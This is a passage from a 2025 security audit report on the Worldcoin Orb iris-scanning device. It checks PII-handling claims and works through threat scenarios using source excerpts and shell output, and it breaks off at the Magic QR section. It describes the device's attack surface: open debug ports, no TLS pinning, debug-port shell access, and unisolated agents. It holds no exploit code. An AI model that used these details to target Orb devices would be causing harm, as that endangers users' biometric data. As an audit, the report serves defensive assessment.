2025 Worldcoin Orb Security Audit

Final Report

Mar 2025

Theori

Theori, Inc. (“We”) is acting solely for the client and is not responsible to any other party.

Deliverables are valid for and should be used solely in connection with the purpose for which they were prepared as set out in our engagement agreement. You should not refer to or use our name or advice for any other purpose. The information (where appropriate) has not been verified. No representation or warranty is given as to accuracy, completeness or correctness of information in the Deliverables, any document, or any other information made available. Deliverables are for the internal use of the client and may not be used or relied upon by any person or entity other than the client. Deliverables are confidential and are not to be provided, without our authorization (preferably written), to entities or representatives of entities (including employees) that are not the client, including affiliates or representatives of affiliates of the client.

©2025. For information, contact Theori, Inc.

Table of Contents

About Theori 3
1. About This Document 4
2. Overview 5
2.1. Project Introduction 5
2.2. Project Scope 5
3. Methodology 6
3.1. Execution Process 7
3.2. Assessment of Security Claims on PII 8
1. The PII provided to the Orb by a user is temporarily processed on the Orb and never permanently retained/stored on the Orb 8
2. The Orb does not store PII including biometric data 8
3. The Orb does not send PII to anyone but the user 8
4. The Orb securely handles iris codes 9
5. The Orb securely sends iris code only to the user 9
6. The Orb securely sends any imagery (i.e., facial and eye photos) created by the Orb during verification only to a user's device 9
7. During the verification process, no WLF/TFH or any 3rd party have access to user PII 10
8. The only information the Orb receives from a user’s phone is the random session number encoded in the QR code 10
3.3. Threat Scenarios 12
3.3.1 List of Threat Scenarios 12
3.3.2 Analysis Results Based on Threat Scenarios 14
4. Findings 37
4.1. Summary of Findings 37
4.2. Findings 38
4.2.1. WORLDCOIN-ORB-001: Memory Cleanup After Iris Data Processing 38
4.2.2. WORLDCOIN-ORB-002: Harden Kernel Build Configuration 40
4.2.3. WORLDCOIN-ORB-003: Privilege Escalation Possibility Due to Improper Permission Restrictions on WiFi Configuration Files 43
5. Analysis Result of Sensitive Data Processing and Storage in the Orb 48
6. Conclusion 50

About Theori

About Theori: World-Class Cybersecurity, Proven Through Performance

Theori is an elite cybersecurity firm comprised of world-renowned researchers and engineers who thrive on solving the most complex digital security challenges. Established with Theori Inc. (US) in 2016 and Theori Korea in 2017, we operate from an attacker's perspective to deliver strategic, cutting-edge security solutions. By entrusting us with their security, our customers gain the freedom to innovate and focus entirely on their core business, while we master the complexities of the threat landscape.

Theori's "world-class" status is not just a claim but a demonstrated reality, consistently validated by top-tier global performance:

- **Record-Breaking Competition Dominance:** As a core part of the "Maple Mallard Magistrates" (MMM) team, Theori achieved an unprecedented **three-peat victory at the DEF CON Capture the Flag competition (2022, 2023, 2024)**. Beyond DEF CON, Theori consistently wins and places at the top of numerous prestigious international CTFs.
- **Pwn2Own Successes:** Our expertise is further proven by multiple successful exploits at Pwn2Own, including recent demonstrations against Ubuntu Desktop, VMware SBX, and RedHat Linux (2023, 2024, and 2025).
- **Leading in AI-Driven Cyber Challenges:** Theori achieved **1st place in the AIxCC (AI Cyber Challenge) Semi-finals hosted by DARPA in 2024** with our Cyber Reasoning System, "Robo Duck."
- **Innovative Products & Services:** We translate our research into impactful solutions like **Xint** (AI-Powered AST), **αprism** (LLM Guard), **ChainLight** (Blockchain Security), **Dreamhack** (Cybersecurity Education), **PatchDay** (Bug Bounty), and **Fermium-252** (1-day CTI Database).
- **Trusted by Global Technology Leaders:** Theori's expertise is sought and trusted by the world's foremost technology companies. We are proud to collaborate with industry giants such as **Microsoft, Google, Okta, and Samsung**, among others. Our work with these leaders involves conducting in-depth security assessments, pioneering vulnerability research, and fortifying the resilience of their globally utilized platforms and products, thereby contributing to the security of digital ecosystems relied upon by millions worldwide.

Our Elite Team & Global Impact:

Theori's core strength is its team of exceptionally talented hackers, security engineers, and researchers. We are driven by a passion for discovery and a commitment to excellence. Our expertise spans offensive security consulting, AI red teaming, security audits, and bespoke R&D, contributing to a more secure digital future for all.

1. About This Document

This report covers Theori's security assessment project on the key functionalities of the Orb device provided by Tools For Humanity(TFH) over two periods: from November 18, 2024, to December 6, 2024 (3 weeks) and from January 23, 2025, to February 27, 2025 (5 weeks).

Each section of the report covers the following:

Section	Contents
2. Overview	This section provides fundamental project details, including the scope, objectives, and execution targets of the security assessment.
3.Methodology	Based on an in-depth analysis of the core services provided by Orb, this section examines attack vectors designed from an adversarial perspective and evaluates the feasibility of threat scenarios generated by combining the vectors.
4. Findings	This section serves as the core section of the report, summarizing the security vulnerabilities and related findings identified in the Orb device during the project period. The severity levels of the findings are determined based on the difficulty of exploitation and the potential impact of the threat. Further details on each issue can be found in the corresponding explanations. The section [4.2. Findings] cover the details of each finding, the impact, the severity assigned, as well as the root cause and remediations for the respective vulnerabilities.
5. Analysis Result of Sensitive Data Management and Storage of the Orb	This section presents the final analysis of the sensitive data handling and storage mechanisms in the Orb device, based on the security assessment results.
6. Conclusion	This section provides a comprehensive summary of the project findings and includes Theori's evaluation of the overall security posture of the Orb device based on the assessment result.

2. Overview

2.1. Project Introduction

Project Target	Worldcoin Orb device and its source codes.
Project Characteristics	Device security assessment through white-box auditing.
Project Duration	2024/11/18 - 2024/12/06 (3 weeks) 2025/01/23 - 2025/02/27 (5 weeks) *It should be noted that the specified period includes the administrative processing period, equipment handover period, and inspection period, and therefore differs from the actual duration spent on the assessment itself.*

2.2. Project Scope

We conducted a project focusing on the Worldcoin Orb device and the source codes of its internal software.

Repository Name	Repository URL	Commit Hash
orb-os	https://github.com/worldcoin/orb-os	4f6c709cde5bf906d56fbe54d980187b920e2d70
priv-orb-core	https://github.com/worldcoin/priv-orb-core	884f36164a71bffa806d5bbcd3c85779f41681ea
orb-core	https://github.com/worldcoin/orb-core	65684ef343e62023cdf8f417e646ea4e922ab063
orb-software	https://github.com/worldcoin/orb-software	0a7922acd6a9010fa686fcfeff50532bc9d15c65
orb-internal	https://github.com/worldcoin/orb-internal	86799080f2a5161c43639420d412ee35012b0fdc
trustzone	https://github.com/worldcoin/trustzone	2326a2ad0a8b80c29

		0bc7b9c612109c9a66ffaf6
priv-orb-firmware	https://github.com/worldcoin/priv-orb-firmware	ccc6512b1e2aaa058b24044547a5c477ff0e345e
orb-firmware	https://worldcoin/orb-firmware	b64f09bfe807c80fb892735f6a2898a76b5da26f
plug-and-trust	https://github.com/worldcoin/plug-and-trust	e4e88db425f39df90d33de548c7f2048c7b7eec7

Device name	Environment
Orb(b3b7f044)	Orb 3.2 / Pearl version / Debug mode
Orb(24760e6c)	Orb 3.2 / Pearl version / Debug mode
Orb(Unknown)	Orb 3.2 / Pearl version / Production mode

3. Methodology

3.1. Execution Process

The project was carried out following these steps:

#	Description
1	Understand the service by directly utilizing the functions of the Orb device
2	Identify components with a high likelihood of threats based on white-box auditing
3	Determine points where vulnerabilities may occur based on the identified information
4	Conducting source code auditing to derive threat scenarios through threat modeling and understand functionalities.
5	Assess and verify threats based on the derived threat scenarios

3.2. Assessment of Security Claims on PII

Below is a summary of the security claims regarding the Personal Identifiable Information (PII) provided by TFH, along with the threat scenario analysis conducted to validate those claims. This section details the review of each claim and, based on these findings, provides an assessment of both the secure handling and overall security of the PII.

1. The PII provided to the Orb by a user is temporarily processed on the Orb and never permanently retained/stored on the Orb

- Status: **Confirmed**

During the World ID registration process via the Orb device, we confirmed that the user's iris data is only briefly stored in the device's memory during the iris code conversion process and is not retained or utilized within the device thereafter.

Reference:

- 1. Data Security and Privacy Risks

2. The Orb does not store PII including biometric data

- Status: **Confirmed**

We confirmed that, during actual service operations, the Orb device does not store any plaintext iris data or other biometric information, including PII, on its SSD or other internal storage. In addition, even in the event of errors or system failures, data does not persist on the system, and no other temporary storage areas are utilized. Consequently, PII is not retained through these means.

Reference:

- 1. Data Security and Privacy Risks

3. The Orb does not send PII to anyone but the user

- Status: **Confirmed**

We confirmed that the Orb device transmits and stores only data such as its version, hardware status, and membership information to the cloud storage for the purpose of device status verification. Additionally, only iris images encrypted with the user's public key are sent to the server, ensuring the server cannot decrypt them.

Reference:

- 1. Data Security and Privacy Risks

4. The Orb securely handles iris codes

- Status: **Confirmed**

The Orb converts the user's iris image into a de-identified form using a machine learning model to generate an iris code, which is then sent to the backend server for World ID registration. It was confirmed that the iris code is not permanently stored on the device and is not exposed in plaintext outside the device.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

5. The Orb securely sends iris code only to the user

- Status: **Confirmed**

We confirmed that the Orb uses the `secure-element` module (NXP SE050) to sign the hash of the collected iris data, then securely transmits both the signed hash and the iris code to the designated TFH backend via HTTPS.

The Orb encrypts the iris code with the user's public key before transmitting it to the TFH backend over HTTPS. As a result, only the encrypted iris code is sent, and TFH does not have access to its plaintext version.

The communication process between the World ID application and the TFH backend was outside the scope of this security assessment.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

6. The Orb securely sends any imagery (i.e., facial and eye photos) created by the Orb during verification only to a user's device

- Status: **Confirmed**

No code or functionality was identified in the Production build of the Orb that transmits plaintext eye images, face images, or iris images externally. Only when the Orb is built with debugging features enabled, these sensitive data points were observed to be exposed in plaintext.

Additionally, the image payloads of the PCP v3 payloads are signed with both the user's app key and the backend key (controlled by TFH).

The communication process between the World ID application and the TFH backend was outside the scope of this security assessment.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior

7. During the verification process, no WLF/TFH or any 3rd party have access to user PII

- Status: **Confirmed**

We confirmed that, during the iris recognition and verification process, no PII data is transmitted externally or stored internally in plaintext, and no third-party involvement leads to information being logged on the device. Additionally, upon examining the systemd components of third-party applications such as Datadog, which are used for logging device information, we verified they are separated from the privileges required to run the Orb process, making it impossible for them to directly access other processes' memory.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

8. The only information the Orb receives from a user's phone is the random session number encoded in the QR code

- Status: **Confirmed**

We confirmed that the only data the Orb receives from external sources (user devices) is the user QR code from the World ID application, which is used during the signup process.

Furthermore, since the QR code contains only randomized session information, we confirmed that it cannot be used to extract detailed personal information, identify individuals, or obtain any PII data.

(However, please note that this claim applies only to the Orb device itself and does not constitute a verification of the TFH backend server that generates and manages the QR data.)

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

3.3. Threat Scenarios

3.3.1 List of Threat Scenarios

Specific threat scenarios were developed from an attacker's perspective to assess the security of the services and functionalities provided by the Orb device, as well as to verify claims related to the PII received from TFH. Each scenario was systematically analyzed and validated.

Category	Items
1. Data Security and Privacy Risks	1-1. Can a man-in-the-middle (MITM) attacker spoof or intercept sensitive data during communication?
	1-2. Is there a risk of sensitive information processed by the device being logged or leaked to external servers?
	1-3. Does the device communicate exclusively with intended and authenticated servers?
	1-4. Is sensitive information stored securely using proper encryption algorithms?
	1-5. Are sensitive data and personal information handled securely in case of errors or system failures?
	1-6. Does the device store personally identifiable information (e.g., QR codes, iris data) locally?
	1-7. Are there safeguards to prevent sensitive information from being persistently stored on the device?
2. System Integrity and Anomalous Behavior	2-1. Can an exposed physical port be exploited for an attack?
	2-2. Can an ORB operator abuse system or management functionalities?
	2-3. Are unnecessary network ports externally exposed?
	2-4. Are sensitive agents running within the broker's main process instead of being isolated?
	2-5. Can any issue of an agent affect the broker's main process?
	2-6. Can maliciously crafted Magic QR codes be used to disrupt the system?
	2-7. Can malicious iris data or images compromise the system, leading to crashes or arbitrary code execution?
3. Security Mitigations and Configurations	3-1. Is an adequate failover system implemented for abnormal process termination?
	3-2. Do device configurations and settings protect against unauthorized access, privilege escalation, and exploitation of known vulnerabilities?

	3-3. Can an attacker arbitrarily gain shell access or extract firmware via debug ports?
	3-4. Does the bootloader correctly verify firmware signatures?
	3-5. Can maliciously crafted firmware be transferred and flashed through the Over-The-Air (OTA) update process?
	3-6. Are third-party libraries securely used and managed?

3.3.2 Analysis Results Based on Threat Scenarios

[Data Security and Privacy Risks]

1-1. Can a man-in-the-middle (MITM) attacker spoof or intercept sensitive data during communication?

After reviewing the two HTTP clients used in Orb (`security-utils` and `update-agent`), we checked that they only allow HTTPS communication. As a result, communication between the device and the server does not occur in plaintext, and encrypted communication prevents unauthorized intermediaries from inspecting or arbitrarily modifying the transmitted data.

However, an issue remains in the HTTP client within the `security-utils` directory, where the minimum TLS version is set to 1.2. This limitation arises from the `reqwest` library, which depends on `native-tls/default-tls` library, preventing the minimum version from being set to TLS 1.3.

Therefore, it is recommended to set the minimum TLS version to 1.3 when updating the library in the future. However, since the current `reqwest` library does not prohibit TLS 1.3 communication but only has an issue with setting the minimum version, an immediate patch is not deemed necessary.

Additionally, TLS pinning is not applied to the communication with the server, leaving it vulnerable to Man-in-the-Middle (MITM) attacks if an attacker installs an arbitrary root certificate.

However, bypassing the TLS certificate used for communication would require circumventing the R/O mount and obtaining root access, which makes the attack highly difficult to carry out. Therefore, the implementation of mTLS is not strictly recommended.

Reference

- Support TLS 1.3? · Issue #140 · sfackler/rust-native-tls · GitHub
- ClientBuilder in reqwest - Rust

1-2. Is there a risk of sensitive information processed by the device being logged or leaked to external servers?

Orb recognizes the iris and utilizes the processed information in the World ID enrollment process, while also transmitting some additional data to the TFH backend server to improve the service.

Among this data, a process was identified where the `debug_report` structure, which contains debug information to be sent to the TFH server, stores iris images.
However, we confirmed that the actual data transmitted to the backend does not include iris images or any other Personally Identifiable Information (PII).

Additionally, the data sent to the backend server only contains metadata that is unrelated to personal identification, such as the iris resolution and angle.

Furthermore, it includes details on whether the Orb device is in a tampered state and whether it has been flagged for fraud detection.

```
// priv-orb-core/src/debug_report.rs#L148~L165

pub struct DebugReport {
   signup_id: SignupId,
   version: String,
   metadata: Metadata,
   pipeline_errors: PipelineErrors,
   sensor: SensorData,
   hardware_component_config: HardwareComponentConfig,
   tof2d: Vec<Tof2dConfig>,
   internal_state_data: InternalStateData,
   self_custody_bundle: Option<Bundle>,
   // Don't move these fields inside the Metadata or nest them, as the AI Team is
specially handling long
   // time-series. @tbszlg will be mad at you!
   rgb_camera: Vec<RgbCameraMetadata>,
   ir_camera: Vec<IrCameraMetadata>,
   ir_face_camera: Vec<IrFaceCameraMetadata>,
   thermal_camera: Vec<ThermalCameraMetadata>,
   self_custody_camera: Vec<SelfCustodyRgbCameraMetadata>,
}

...

// priv-orb-core/src/debug_report.rs#L1122~L1149
pub struct Metadata {
   start_timestamp: f64,
   end_timestamp: f64,
   biometric_capture_succeeded: bool,
   signup_status: SignupStatus,
   enrollment_status: Option<enroll_user::Status>,
   hardware: HardwareVersion,
   optics: OpticsVersion,
   software_version: SoftwareVersion,
   orb: OrbMetadata,
   experiment_configs: ExperimentConfigs,
   backend_config: Config,
   identification_images: Option<IdentificationImages>,
   rgb_net_left: Option<biometric_capture::RgbEstimationType>,
```

```
    rgb_net_right: Option<biometric_capture::RgbEstimationType>,
    fraud_check_results: FraudCheckResults,
    face_identifier_billing: face_identifier::Billing,
    software_constants: SoftwareConstants,
    location: OrbLocation,
    iris_model_metadata_left: Option<iris::Metadata>,
    iris_model_metadata_right: Option<iris::Metadata>,
    mega_agent_one_config: Option<mega_agent_one::MegaAgentOne>,
    mega_agent_two_config: Option<mega_agent_two::MegaAgentTwo>,
    failure_feedback_capture: Vec<CaptureFailureFeedbackMessage>,
    failure_feedback_after_capture: Vec<AfterCaptureFeedbackMessage>,
    bypass_age_verification: bool,
    is_test_qr_code: bool,
}
```

DebugReport metadata sent to TFH backend

```
//priv-orb-core/src/agents/python/iris/types.rs#L93

pub struct Metadata {
    pub iris_version: Option<String>,
    pub image_size: Option<(u32, u32)>,
    pub eye_side: Option<String>,
    pub eye_centers: Option<EyeCenters>,
    pub pupil_to_iris_property: Option<PupilToIrisProperty>,
    pub offgaze_score: Option<f64>,
    pub eye_orientation: Option<f64>,
    pub occlusion90: Option<f64>,
    pub occlusion30: Option<f64>,
    pub ellipticity: Option<Ellipticity>,
    pub iris_bbox: Option<BoundingBox>,
    pub template_property: Option<TemplateProperty>,
}
```

Additional metadata of the iris image (e.g., version, size, angle, etc.)

The `debug_report` function only transmits ancillary information related to iris images, and raw iris images and other sensitive personal data are not transmitted or exposed to any external servers, including the TFH backend.

Upon reviewing the code handling Personal Custody Package (PCP) transmission, we have confirmed that the encrypted iris image data is securely transmitted to the TFH backend.

Especially, the image payloads in PCP v3 are encrypted with both the user's public key in World App and the backend key controlled by TFH. This ensures that TFH cannot arbitrarily decrypt or access user's plaintext data in the backend.

```rust
// priv-orb-core/src/plans/personal_custody_package.rs
/// The credentials used to build the personal custody package.
#[allow(missing_docs)]
#[allow(clippy::struct_field_names)]
pub struct Credentials {
   pub operator_qr_code: qr_scan::user::Data,
   pub user_qr_code: qr_scan::user::Data,
   pub user_qr_code_string: String,
   pub backend_iris_public_key: PublicKey,
   pub backend_iris_encrypted_private_key: String,
   pub backend_normalized_iris_public_key: PublicKey,
   pub backend_normalized_iris_encrypted_private_key: String,
   pub backend_face_public_key: PublicKey,
   pub backend_face_encrypted_private_key: String,
   pub backend_tier2_public_key: PublicKey,
   pub backend_tier2_encrypted_private_key: String,
   pub self_custody_user_public_key: PublicKey,
   pub pcp_version: u16,
   pub id_commitment: String,
}

// priv-orb-core/src/plans/personal_custody_package.rs
impl Package<'_> {
   fn build(&self) -> Result<(Vec<u8>, Vec<u8>, Vec<u8>)> {
       let Self { ts, ref credentials, .. } = *self;
       let Credentials {
           backend_iris_public_key,
           backend_normalized_iris_public_key,
           backend_face_public_key,
           backend_tier2_public_key,
           self_custody_user_public_key,
           pcp_version,
           ..
       } = credentials;
       let mut hashes = BTreeMap::new();
       let mut tier0 = tar::Builder::new(Vec::new());
       let mut tier1 = tar::Builder::new(Vec::new());
       let mut tier2 = tar::Builder::new(Vec::new());
```

```
        let iris_tar = encrypt(self.make_iris_tar(&mut hashes)?, backend_iris_public_key);
        let normalized_iris_tar = encrypt(
            self.make_normalized_iris_tar(&mut hashes)?,
            backend_normalized_iris_public_key,
        );
        let face_tar = encrypt(self.make_face_tar(&mut hashes)?, backend_face_public_key);

        let backend_keys_json = self.make_backend_keys_json(&mut hashes)?;
// ...

// priv-orb-core/src/backend/upload_personal_custody_package.rs
/// Uploads a personal custody package.
pub async fn request(
    signup_id: &SignupId,
    session_id: &str,
    checksum: &[u8],
    data: &[u8],
    tier: Option<u8>,
    config: &Arc<Mutex<Config>>,
) -> Result<()> {
    let t0 = Instant::now();
    let presigned_url::Response { url: presigned_url, fields: form_data_params } =
        if let Some(tier) = tier {
            presigned_url::request_tiered_package(
                &DATA_BACKEND_URL,
                signup_id,
                session_id,
                &BASE64.encode(checksum),
                tier,
            )
            .await?
        } else {
            presigned_url::request_package(
                &DATA_BACKEND_URL,
                signup_id,
                session_id,
                &BASE64.encode(checksum),
            )
            .await?
        };
```

Code snippet to encrypt and transmit PCP data

Since this public key is generated by the user within the World ID application, the TFH backend server cannot arbitrarily decrypt the data, ensuring that sensitive information is not exposed in plaintext externally.

Moreover, the only information the Orb receives from a user's phone is the random session number encoded in the QR code and the metadata needed to use the session.

```rust
/// /orb-core/src/plans/qr_scan/user.rs
/// User QR-code data.
#[derive(Default, Clone, Debug)]
pub struct Data {
   /// User ID in format of 128-bit UUIDv4.
   pub user_id: String,
   /// It's a data acquisition QR code.
   pub signup_extension: bool,
   /// Data acquisition configuration.
   pub signup_extension_config: Option<SignupExtensionConfig>,
   /// Hash of the user data stored in the backend.
   pub user_data_hash: Option<Vec<u8>>,
}
```

User QR-code data structure

1-3. Does the device communicate exclusively with intended and authenticated servers?

Through an analysis of the source code, we confirmed that during the operation of the Orb device, communication occurs only with the TFH-owned servers (*.worldcoin.org), Datadog, Teleport, and AWS S3 presigned URLs. No logic was found that communicates with unnecessary or unauthorized arbitrary servers.

```rust
// orb-core/src/backend/endpoints.rs#L28~L43
make_urls! {
   /// Data backend URL - writes to regionalized S3.
   pub static DATA_BACKEND_URL = "https://data.{}.worldcoin.org";

   /// Management backend URL - writes to regionalized S3.
   pub static MANAGEMENT_BACKEND_URL = "https://management.{}.worldcoin.org";

   /// Signup backend URL.
   pub static SIGNUP_BACKEND_URL="https://signup.{}.worldcoin.org";

   /// Relay backend URL.
   pub static RELAY_BACKEND_URL="https://relay.{}.worldcoin.org";

   /// Host for network monitoring purposes.
   pub static NETWORK_MONITOR_HOST="signup.{}.worldcoin.org";
}
```

Backend Server Endpoints

After connecting to the system shell via the Orb device's debug port, direct traffic and log analysis confirmed that the device communicates only with the following servers. As verified in the source code, continuous communication was observed exclusively with the intended services, including *.worldcoin.org, Datadog, Teleport, which are essential for service provision.

```
tcp     192.168.13.233:59806    3.233.157.104:443  ESTABLISHED -> datadog
tcp     192.168.13.233:41448    3.233.157.159:443    TIME_WAIT -> datadog
tcp     192.168.13.233:37028    15.197.240.117:443 ESTABLISHED -> orb.worldcoin.org
tcp     192.168.13.233:50188    18.210.121.14:3024 ESTABLISHED -> Teleport
tcp     192.168.13.233:37162    15.197.240.117:443 ESTABLISHED -> orb.worldcoin.org
tcp     192.168.13.233:50190    18.210.121.14:3024 ESTABLISHED -> Teleport
Tcp     192.168.13.233:56658    35.156.93.5:443    ESTABLISHED -> stage.orb.worldcoin.org
tcp     192.168.13.233:52026    3.233.157.100:443  ESTABLISHED -> datadoghq.com
tcp     192.168.13.233:44164    18.208.122.219:3024 ESTABLISHED -> Teleport
tcp     127.0.0.1:43132         127.0.0.1:5001     ESTABLISHED -> local
tcp     192.168.13.233:41450    3.233.157.159:443    TIME_WAIT -> datadoghq.com
tcp     192.168.13.233:44172    18.208.122.219:3024 ESTABLISHED -> Teleport
tcp     127.0.0.1:5001          127.0.0.1:43132    ESTABLISHED -> local
```

Network Connection Status

1-4. Is sensitive information stored securely using proper encryption algorithms?

Unless the `internal-data-acquisition` flag used to control device data storage and backend uploads in debug and R&D modes is enabled, the production device does not store plaintext iris data or any other sensitive user information on the SSD or internal storage in any form during the Signup process or general device operation.

```rust
// priv-orb-core/src/agents/image_notary.rs#L375~L397

//! Notarizes images and assigns them image IDs.
//!
//! IF AND ONLY IF the `internal-data-acquisition` feature is enabled,
//! it also saves files to disk

...
#[cfg(not(feature = "internal-data-acquisition"))]
#[allow(clippy::unnecessary_wraps)]
fn finalize_signup(&mut self) -> Result<()> {
   // In theory this is not needed. Just an extra defensive measure.
   ssd::perform(|| {
       self.save_dir.exists().then(|| remove_dir_all(&self.save_dir)).unwrap_or(Ok(()))
   });
   Ok(())
}

#[cfg(feature = "internal-data-acquisition")]
fn finalize_signup(&mut self) -> Result<()> {
   ssd_save_png(|| {
       save_sharpest_frames(
           &self.sharpest_frames,
```

```
            &self.signup_id,
            &self.save_dir,
            &mut self.log,
        )?;
        Ok(())
    })?;
    Ok(())
}
```

Differences in storage logic depending on the internal-data-acquisition flag

1-5. Are sensitive data and personal information handled securely in case of errors or system failures?

The Orb device does not store plaintext iris data or any other sensitive user information on the SSD or internal storage in any form during the Signup process or general device operation (1-4).
Additionally, the kernel system is configured to prevent core dumps from being generated, ensuring that no data remains on the system even in the event of errors or system failures. Furthermore, swap space is not used under the current configuration, eliminating the risk of data exposure due to disk or temporary storage usage.

```
root@localhost:/usr/persistent# free -h; swapon --summary
              total        used        free      shared  buff/cache   available
Mem:           14Gi       4.2Gi       8.8Gi       252Mi       1.5Gi       9.9Gi
Swap:            0B          0B          0B
```

Swap space disabled

```
root@localhost:/usr/persistent#  sysctl -a | grep core_
kernel.core_pattern = core
kernel.core_pipe_limit = 0
kernel.core_uses_pid = 0
```

Core dump generation disabled

Rust inherently ensures memory safety through its ownership model. However, during program execution, sensitive data may still reside in process memory.

Therefore, it is recommended to use `zeroize`, a Rust crate specifically designed for handling sensitive data in memory. By utilizing the `Zeroize` macro for explicit initialization or the Zeroizing wrapper for automatic cleanup, memory containing iris data and other personally identifiable sensitive information processed by Orb can be securely cleared. We recommend using this to help prevent a potential exposure of sensitive data through memory dumps or other attack vectors.

- WORLDCOIN-ORB-001

1-6. Does the device store personally identifiable information (e.g., QR codes, iris data) locally?

The Orb device does not store plaintext iris data or any other sensitive user information on the SSD or internal storage in any form during the Signup process or general device operation (1-4).
Additionally, after reviewing all Orb broker agents that handle user data (e.g., `ir_eye_camera`, `ir_face_camera`, `qr_code`, etc.), we confirmed that no plaintext iris data, personally identifiable information, or other sensitive data is stored on the SSD or any other internal storage within the device.

1-7. Are there safeguards to prevent sensitive information from being persistently stored on the device?

While Orb does not currently store sensitive information internally, an additional safeguard is implemented through the `image_notary` agent, which explicitly deletes the allocated SSD storage space after each Signup process. This ensures that no residual sensitive data remains on the device, preventing potential risks of data storage or exposure.

```rust
// priv-orb-core/src/agents/image_notary.rs#L375~L397

//! Notarizes images and assigns them image IDs.
//!
//! IF AND ONLY IF the `internal-data-acquisition` feature is enabled,
//! it also saves files to disk

...
#[cfg(not(feature = "internal-data-acquisition"))]
#[allow(clippy::unnecessary_wraps)]
fn finalize_signup(&mut self) -> Result<()> {
   // In theory this is not needed. Just an extra defensive measure.
   ssd::perform(|| {
       self.save_dir.exists().then(|| remove_dir_all(&self.save_dir)).unwrap_or(Ok(()))
   });
   Ok(())
}

#[cfg(feature = "internal-data-acquisition")]
fn finalize_signup(&mut self) -> Result<()> {
   ssd_save_png(|| {
       save_sharpest_frames(
           &self.sharpest_frames,
           &self.signup_id,
           &self.save_dir,
           &mut self.log,
       )?;
       Ok(())
   })?;
   Ok(())
}
```

Explicitly deleting SSD storage space in a production environment

[System Integrity and Anomalous Behavior]

2-1. Can an exposed physical port be exploited for an attack?

Production Orb devices are restricted from calling debug functions, and UART console access is also disabled to block external entry points via hardware.

```
// orb-firmware/bootloader/release.conf
# Totally remove usage of UART for release target
CONFIG_DEBUG=n
CONFIG_LOG=n
CONFIG_BOOT_BANNER=n
CONFIG_CONSOLE=n
CONFIG_UART_CONSOLE=n
CONFIG_UART_STM32=n
```

DEBUG, UART interfaces disabled

Additionally, the only externally exposed port on the device is a USB-C port for battery charging, while UART, 5-PIN, HDMI, and USB ports are only accessible after physically disassembling the device.

Additionally, the device is equipped with a tamper detection pin, which sends information to the TFH backend if the device is physically disassembled, allowing TFH to detect the physical tampering of the device.

2-2. Can an ORB operator abuse system or management functionalities?

We confirmed that there is no risk of sensitive data extraction, such as iris data theft, using special privileges granted to Orb operators. While certain functions (`reset_wifi_credentials`, `reset_mirror_calibration`) can be executed via Magic QR, no systemic or business logic threats were identified that could exploit these functions.

However, it should be noted that this assessment is based solely on the source code and configuration files of the provided Orb device. The operator privileges and other functionalities of the backend server managing and storing World ID data were not analyzed in this evaluation.

2-3. Are unnecessary network ports externally exposed?

In debug mode, the Orb device exposes the following network ports externally.

```
root@localhost:/home/worldcoin# netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:4675            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4357            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:2693            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:5001          0.0.0.0:*               LISTEN
```

```
tcp        0      0 0.0.0.0:4336            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4437            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4538            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:4539            0.0.0.0:*               LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 0.0.0.0:47222           0.0.0.0:*
udp        0      0 127.0.0.1:8125          0.0.0.0:*
udp        0      0 127.0.0.53:53           0.0.0.0:*
udp        0      0 192.168.13.233:68       0.0.0.0:*
udp        0      0 0.0.0.0:41296           0.0.0.0:*
udp    13824      0 0.0.0.0:34770           0.0.0.0:*
udp        0      0 0.0.0.0:52073           0.0.0.0:*
udp        0      0 0.0.0.0:36960           0.0.0.0:*
```

Service ports operating in debug mode

Among these, excluding ports opened for debug functionality (`ssh`, `orb-control-api`) and those bound only to the loopback interface, the following ports are the only ones that remain active in production Orb.

```
Proto Recv-Q Send-Q Local Address           Foreign Address         State
udp        0      0 192.168.13.233:68       0.0.0.0:*
udp    13824      0 0.0.0.0:34770           0.0.0.0:*
```

Service port operating and exposed externally in production

The port bound to 192.168.13.233:68 is used by `systemd-networkd` to establish a DHCP connection. Additionally, port 34770 is used by Datadog's `dogstatsd` to receive device metrics data and aggregate statistics. This port dynamically changes every time `orb-mcu-telemetry` runs. No additional threats were identified related to this behavior.

2-4. Are sensitive agents running within the broker's main process instead of being isolated?

The Orb main broker consists of 16 primary agents, with only four of these being isolated at the process level, while the remaining agents run as tasks or threads within the main Orb process.

Notably, a previous security audit identified that the qr_code agent could serve as a major attack surface due to its use of a memory-unsafe library. This issue has since been patched by replacing the unsafe library with one that does not rely on explicit memory dereferences using the unsafe keyword. Additionally, this agent has been isolated at the process level, mitigating the associated security risks.

2-5. Can any issue of an agent affect the broker's main process?

The broker's main process executes the agents required for Orb's operation using three isolation methods: Task, Thread, and Process.
Among these, agents executed as Tasks and Threads share memory with the main process, meaning that if memory corruption occurs, the threat could propagate to the main broker process.
However, after reviewing the code of primary agents that could serve as potential attack surfaces, no practical memory manipulation issues were found due to external inputs (e.g., QR codes, physical buttons, or iris data).

Additionally, further verification was conducted to determine whether errors originating from agents could propagate to the main process.
The results confirmed that agents across all three execution models are configured to prevent error propagation to the main process. In the event of an error, only logs are recorded, and the service recovers automatically, ensuring that the main process continues functioning normally even if an agent failure occurs.

2-6. Can maliciously crafted Magic QR codes be used to disrupt the system?

The Orb device supports two Magic QR-code functionalities for operator use: `reset_mirror_calibration` and `reset_wifi_credentials`, which are used for WiFi and mirror initialization.

